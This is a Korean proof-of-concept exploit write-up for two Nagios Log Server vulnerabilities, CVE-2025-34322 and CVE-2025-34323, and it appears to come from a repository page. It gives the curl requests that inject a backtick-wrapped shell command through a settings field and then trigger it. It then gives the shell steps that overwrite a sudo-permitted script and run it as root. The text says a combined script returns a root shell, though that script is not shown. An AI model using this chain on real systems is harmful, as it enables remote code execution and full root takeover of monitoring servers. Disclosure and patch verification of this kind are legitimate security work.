CVE-2025-34322 및 CVE-2025-34323 Nagios Log Server

Nagios Log Server의 CVE-2025-34322 및 CVE-2025-34323에 대한 개념 증명(PoC) 익스플로잇과 루트 권한으로 셸을 반환하는 결합 스크립트입니다.

CVE-2025-34322

인증 후, 다음 두 curl 명령어에 세션 ID를 교체하세요. 첫 번째 명령어는 실행할 명령을 설정하고, 다음 명령어는 해당 명령을 실행합니다.

$ curl -s -H 'Cookie: csrf_ls=8f053ed2cb80988cea42d3ae3fc4415d; ls_session=<your-session-id>' --data 'csrf_ls=8f053ed2cb80988cea42d3ae3fc4415d&natural_language_query=1&nlp_disclaimer=on&ai_provider=self_hosted&self_host_ip_address=`touch /tmp/rce`&ai_port=8000&saveglobals=1' http://192.168.122.198/nagioslogserver/admin/globals
$ curl -s -H 'Cookie: ls_session=<your-session-id>' http://192.168.122.198/nagioslogserver/dashboard/natural_language_to_query

CVE-2025-34323

www-data 사용자는 다음 스크립트를 root로 실행할 수 있는 sudo 권한을 가지고 있습니다.

(root) NOPASSWD: /usr/local/nagioslogserver/scripts/get_logstash_ports.sh
(root) NOPASSWD: /usr/local/nagioslogserver/scripts/profile.sh
(root) NOPASSWD: /usr/local/nagioslogserver/scripts/reconfigure_ncpa.sh

그리고 /usr/local/nagioslogserver/scripts 디렉터리에 쓰기 권한이 있습니다.

www-data@debian-nagios-logserver2:/usr/local/nagioslogserver$ ls -lah
total 44K
drwxrwxr-x 11 nagios nagios   4.0K Sep  7 16:34 .
drwxr-xr-x 12 root   root     4.0K Sep  7 16:29 ..
drwxrwxr-x  4 nagios nagios   4.0K Sep  7 16:20 etc
-rw-r--r--  1 root   root        0 Sep  7 16:34 .installed
drwxr-xr-x 14 nagios nagios   4.0K Sep  7 16:29 logstash
drwxrwxr-x  2 nagios nagios   4.0K Sep  7 16:20 mibs
drwxr-xr-x 12 nagios nagios   4.0K Sep  7 16:20 opensearch
drwxrwxr-x  5 nagios nagios   4.0K Sep  7 16:20 pythonvenv
drwxrwxr-x  3 nagios nagios   4.0K Sep  7 16:20 scripts
drwxrwxr-x  2 nagios nagios   4.0K Sep  7 16:36 snapshots
drwxrwxr-x  3 nagios www-data 4.0K Sep  7 16:36 tmp
drwxrwxr-x  2 nagios nagios   4.0K Sep  7 16:31 var

이는 www-data 사용자가 nagios 그룹의 구성원이기 때문입니다. 따라서 www-data 사용자는 소유권에 관계없이 디렉터리 내의 모든 파일을 _이동_할 수 있습니다. 다음 명령어는 www-data 사용자가 sudo 권한으로 실행할 수 있는 파일(reconfigure_ncpa.sh)을 이동시키고, 그 파일을 임의의 명령을 포함하는 새 파일로 교체합니다.

mv /usr/local/nagioslogserver/scripts/reconfigure_ncpa.sh /usr/local/nagioslogserver/scripts/reconfigure_ncpa.sh.bak;
echo '<command>' > /usr/local/nagioslogserver/scripts/reconfigure_ncpa.sh;
chmod +x /usr/local/nagioslogserver/scripts/reconfigure_ncpa.sh;
sleep 1;
sudo /usr/local/nagioslogserver/scripts/reconfigure_ncpa.sh;

CVE-2025-34322_CVE-2025-34323_Nagios_Log_Server

인기